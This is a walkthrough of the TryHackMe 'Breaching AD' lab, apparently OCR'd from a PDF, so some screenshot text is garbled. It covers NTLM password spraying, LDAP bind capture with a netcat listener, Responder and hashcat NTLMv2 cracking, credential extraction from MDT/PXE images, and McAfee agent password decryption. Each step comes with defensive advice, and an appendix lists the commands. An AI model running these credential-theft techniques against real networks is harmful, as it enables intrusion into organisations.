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Abstract

This report documents and explains, step by step, how to reproduce the learning objectives
from the TryHackMe room Breaching AD (https://tryhackme.com/room/breachingad). For
each task we state the goal, the protocol or technique involved, a clear procedure, the evidence
observed, and how defenders can detect and mitigate the behavior. Topics include NTLM
password spraying, LDAP bind credential exposure, NTLMv2 capture and cracking, Microsoft
Deployment Toolkit (MDT) / PXE data leakage, and credential recovery from configuration
databases and deployment images.
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https://tryhackme.com/room/breachingad

1 Scope and Lab Topology

In-scope hosts (room topology): Domain Controller (THMDC 10.200.80.101), IIS host
(THM-IIS 10.200.80.201), web apps ntlmauth.za.tryhackme.com and printer.za.tryhackme.com,
MDT server THMMDT (10.200.80.202), jump host THMIMP1 (10.200.80.248), and pxeboot .za.tryhackme. com.
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Figure 1: Full lab network overview used for Tasks 1-8.

All work was performed inside the lab, with low-rate authentication trials and no destructive
actions.

2 Background: NTLM in AD Environments (Why it Matters)

NTLM is a legacy challenge-response family used by Windows services (HTTP/IIS, SMB/CIFS,
RDP fallback, WinRM, etc.). In HTTP NTLM, the browser first receives a 401 with WWwWw-Authenticate:
NTLM, then exchanges Type 1/2/3 messages. Passwords are not sent in cleartext, but the responses
can be offline cracked and, without additional protections, relayed. Because many enterprise apps
still allow NTLM, it frequently becomes the first foothold.

Key hardening: prefer Kerberos; block LM/NTLMv1; enforce SMB signing and Extended Pro-
tection for Authentication (channel binding) on web apps; add MFA; monitor failed/odd NTLM
patterns.

3 Background: LDAP in AD (Where Credentials Leak)

LDAP is how apps and devices query AD. Port 389 is plaintext (can be upgraded via StartTLS),
and 636 is LDAPS (TLS from start). If a device uses simple bind over 389 without TLS, the
username and password cross the wire in cleartext. Printers, VPNs, and Wi-Fi controllers often
store a service account (e.g., svcLDAP) that binds to AD — a common misconfiguration and a great
teaching example in this room.

Defensive baseline: require LDAPS or Start TLS with validation; least-privilege service accounts;
restrict device egress; monitor unexpected LDAP clients and disable anonymous binds.



4 Task 1 — Introduction to AD Breaches: finding an NTLM gate

Goal Identify an NTLM-protected surface that can act as a safe oracle for authentication at-
tempts.

Theory Hitting an HTTP NTLM endpoint unauthenticated yields a browser prompt and server
401/NTLM challenge. That deterministic behavior lets us safely test one password across many

users (spraying) while respecting lockout policies.

Approach Browse to the target web app.

@ ntlmauth.za.tryhackme.com
This site is asking you to sign in.

Username

Password

Figure 2: NTLM/Negotiate prompt at ntlmauth.za.tryhackme. com.

Outcome The app challenges with NTLM as expected — good target for controlled password
spraying.

Detect & Mitigate Track 401—200 transitions per client; prefer Kerberos or enforce EPA /chan-
nel binding; apply smart lockout and MFA.

5 Task 2 — OSINT and Password Spraying

Goal Use a single candidate password across many users to find valid credentials without trig-
gering lockouts.

Theory Spray one password over a curated user list. For HI'TP NTLM, success returns 200 OK;
failure returns 401 Unauthorized.

Procedure
1. Build a username list (OSINT/lab provided).
2. Send an HTTP request per user with NTLM auth using the same password.
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Figure 3: Sprayer logic using requests + HttpNtlmAuth.

Example:

python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com \
-p Changemel23 -a http://ntlmauth.za.tryhackme.com

ntlm_passwordspray.py usernames.txt g ackme . com Chan 2 nt J/ntlmauth.

3

pair
ith
her.smith Pa

Figure 4: Results: multiple valid users with the default password.

Evidence of Access

C @ O tlmauth za.tryhackme.com

OffSec Kali Linux Kali Tools KaliDocs ¥ Kali Forums Kali NetHunter Exploit-DB. Google Hacking DB

Hello World

Figure 5: Post-auth “Hello World” page confirms the credentials work.




Detect & Mitigate Ban common passwords; apply smart lockout and per-IP throttling; add
MFA; monitor spikes in 401s and credential-stuffing indicators.

6 Task 3 - NTLM-Authenticated Services: printer LDAP console

Goal Identify where stored service credentials are used to bind to LDAP.

Theory Many devices expose an LDAP config page (server, bind DN /user, password). If they
use simple bind over 389 without TLS, credentials are recoverable on the wire.

Observation

Printer Settings
LDAP Settings

Username: |svcLDAP |
Password: |
Server: 10.10.10.101 |

| Test Settings | | Save Settings |
LDAP Connection failed: The LDAP server is unavailable.

Figure 6: Printer LDAP settings page points to DC 10.200.80.101.

Username:

Figure 7: DOM reveals the bind user svcLDAP; password masked.

Takeaway If the printer uses plaintext LDAP, we can capture the service account when it test-
s/uses the connection.

7 Task 4 — LDAP Bind Credentials (capturing a plaintext bind)
Goal Prove the risk by capturing the svcLDAP password over the network.

Approach
1. Temporarily point the printer’s LDAP server to the attacker’s IP.
2. Listen on 389/tcp and trigger “Test Settings”.



Terminal

Figure 8: Printer connects to our listener on 389/tcp.

length 65

Figure 9: The bind DN and password are sent in clear (simple bind over 389).

Outcome Recovered service credentials for svcLDAP.

Mitigation Enforce LDAPS/StartTLS, least privilege, and egress controls; alert on non-DC
LDAP targets.

8 Task 5 — Authentication Relays: capturing and cracking NTLMv2

Goal Capture an NTLMv2 handshake and crack it offline to another valid credential.

Theory LLMNR/NBT-NS poisoning makes clients ask the attacker for a name; Responder then
collects NTLMv2 handshakes over SMB/HTTP. The captured line can be cracked with hashcat
mode 5600.

Procedure
‘sudo responder -I breachd
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Figure 11: Captured NTLMv2 hash (e.g., ZA\svcFileCopy) from client 10.200.80.202.

Crack with:

hashcat -m 5600 hashNtlmv2.txt /path/to/wordlist.txt --force

} Y Y g
_':.EIEI ha hr-ltlm'u'L rJ-Duwnlnada 'passwordlist-1647876320267.txt --force

arting

Figure 12: Cracking NTLMv2 with hashcat (mode 5600).




Figure 13:

Defence Disable LLMNR/NBT-NS; enforce SMB signing and HTTP channel binding; MFA;
alert on Responder-like traffic.

Recovered cleartext shown at the end of the captured line.

9 Task 7 — Microsoft Deployment Toolkit (MDT) / PXE

Goal Retrieve MDT configuration used at boot (BCD) and the WinPE LiteTouch image; then

extract any deployment credentials embedded in the WIM.

Theory PXE infrastructures often expose BCD over TFTP/HTTP. Parsing BCD reveals the
WinPE WIM path. Bootstrap.ini inside the WIM commonly holds MDT share credentials so

WinPE can connect automatically.

Discovery
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arm64{423777A6-6917-4A77-83A2-43C93504F200} . bed
arm{DB164AAB- 7809 -4C4C-9B54 - BAF3BZAR2ADO} . bed
web.config
x64uefi{60625367-8BFF-4772-B9CE-80D1794B383F} . bed
x84{C11B1FAT-1F7E-48C2-BDE1-86BFACIEGAGE} . bed
x86uefi{2CEADAEA-4EB4-406F - 80F0-FB25C654FD43} . bed
x86x64{ABO4TEYD-5492-4AA5-87B1 -440851DE11ER} . bed
x86{DFBD728B-ADAZ - 43E2 -B6BC - 4DACEEE2B599} . bed

Fetch and Parse

Figure 14: PXE web share lists BCD files and web.config.



conf. bed

conf.becd

Figure 15: Downloading BCD via TFTP; DNS shows MDT at 10.200.80.202.

Identify the WIM and download it:

powershell -ExecutionPolicy Bypass

Import-Module .\PowerPXE.ps1

$BCDFile = "conf.bcd"

Get-WimFile -bcdFile $BCDFile

tftp -i 10.200.80.202 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.wim

yoot.wim

Figure 16: Parsing BCD and pulling LiteTouchPE_x64.wim.

Extract credentials from the WIM (Bootstrap.ini)
> Get-FindCredentials

THMMDT\MTDBU1 1dLab$

Figure 17: Get-FindCredentials run against pxeboot.wim: reveals DeployRoot, UserID=svcMDT,
domain ZA, and the deployment password.




Defence Restrict TFTP/HTTP to deployment VLANS, disable directory indices, vault MDT cre-
dentials, prefer HT'TPS/signed content, monitor large TFTP pulls, and avoid embedding reusable
secrets in Bootstrap.ini.

10 Task 8 — Configuration Files & Agent DB: extracting real cre-
dentials

Goal Demonstrate credential recovery from endpoint configuration databases (McAfee Agent).
(The MDT WIM extraction now resides in Task 7.)

McAfee Agent database (ma.db)

Theory McAfee Agent stores repository credentials in a local SQLite DB. Older SiteList encryp-
tion uses a reversible scheme (static XOR + 3DES-ECB with SHA-derived key). With read access
to the DB, the password can be recovered off-host.

Collect the DB

Figure 18: Copying ma.db from THMJMP1 to the analysis workstation.

Explore the DB

Terminal

‘Documents/TryHackme/Active DIrectory Breaching]
ma .db

DB Browser for SQLite - ma.db
File Edit View Tools Help
® New Database @ Open Database . W [ = @ Open Project @, Attach Database

Database Structure = Browse Data ~ Edit Pragmas  Execute SQL Edit Database Cell

& ErRDREE=mA
B Create Table W Createindex [ NULL

Name Type Schema
~ [B Tables(7)
+ [ AGENT_CHILD CREATE TABLE.
» B AGENT_LOGS CREATE TABLE.
» B AGENT_PARENT CREATE TABLE
» B AGENT_PROXIES CREATE TABLE.
+ B AGENT_PROXY_CONFIG CREATE TABLE.
+ [B AGENT_REPOSITORIES CREATE TABLE.
» B MA_DATACHANNEL_MESSAGES CREATE TABLE
R Indices (0) Remote

Vi 0]
B Views (0) Identity Select an identity to connect ~

[ ) Triggers (0)

DBHub.io  Local Current Database
: @

Last modified Size

SALLog Plot DBSchema Remote

Figure 19: Opening ma.db in DB Browser for SQLite.
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Terminal

rogramD

Figure 20: On-host confirmation of the database folder and files.

File Edit View Tools Help
@ New Database @ Open Database . B & @Dpen Project ‘§ave Project B, Attad
Database Structure =~ Browse Data = Edit Pragmas  Execute SQL

Table: B AGENT_REPOSITORIES -m 2 CILES BB 10 & Fiterina

SSL_PORT PATH DOMAIN AUTH_USER AUTH_PASSWD IS_PASSWD_ENCRYPTED

Products/CommonUpdater

NULL epo$\ za.tryhackme.com svcAV jWbTyS7BL1Hj 7PkOSDi/ ..

Figure 21: AGENT_REPOSITORIES: domain za.tryhackme.com, user svcAV, and base64 blob with
IS_PASSWD_ENCRYPTED=1.

Decrypt the password

11



)Jfor 1, ¢ in enumerate

return decrypted[©:decrypted.find(

name ==

if len(sy
print("l
print(

~/./TryHackme/Active DIrectory ing/ i i ster/mcafee-sitelist-pwd-decryption
i Wb ) YmcG D 5 MIB3Q==

~/w/TryHackme/Active DIrectory Breaching/mcafee-sitelist-pwd-decryption-master/mcafee-sitelist-pwd-decryption

Figure 23: Ciphertext — cleartext: recovered repository/service password.

Outcome Usable AD-adjacent credentials (repository/service account) obtained from end-
point config.

Defence Treat agent DBs as secrets; restrict filesystem ACLs; move credentials to a vault/gMSA;
rotate keys; upgrade to stronger protected storage and sign configurations.
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What ties everything together (Attacker chain)

Initial foothold: NTLM spray finds a valid user (Task 2).

Service secrets: Printer LDAP misconfig exposes svcLDAP (Task 4).

More creds: LLMNR/NBT-NS capture + cracking yields another account (Task 5).
Infrastructure leakage: MDT/PXE reveals WIM and deployment secrets (Task 7).
Endpoint leakage: Agent DB decrypts to further credentials (Task 8).

Any single mitigation in the chain can stop progression.

Appendix — Repro commands (reference)

12



# NTLM spray (HTTP endpoint)
python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com \
-p Changemel23 -a http://ntlmauth.za.tryhackme.com

# LDAP plaintext capture (only in lab)
nc -1lvp 389

# Responder + hashcat for NTLMv2
sudo responder -I breachd
hashcat -m 5600 hashNtlmv2.txt /path/to/wordlist.txt --force

# MDT / PXE

tftp -i 10.200.80.202 GET "\x64\{GUID}.bcd" conf.bcd

powershell -ExecutionPolicy Bypass

Import-Module .\PowerPXE.ps1

Get-WimFile -bcdFile conf.bcd

tftp -i 10.200.80.202 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.wim
# Extract creds from WIM

Get-FindCredentials -WimFile pxeboot.wim

# McAfee Agent DB
scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .

# Decrypt McAfee Sitelist-style password (educational use)
python3 mcafee_sitelist_pwd_decrypt.py <base64_password>
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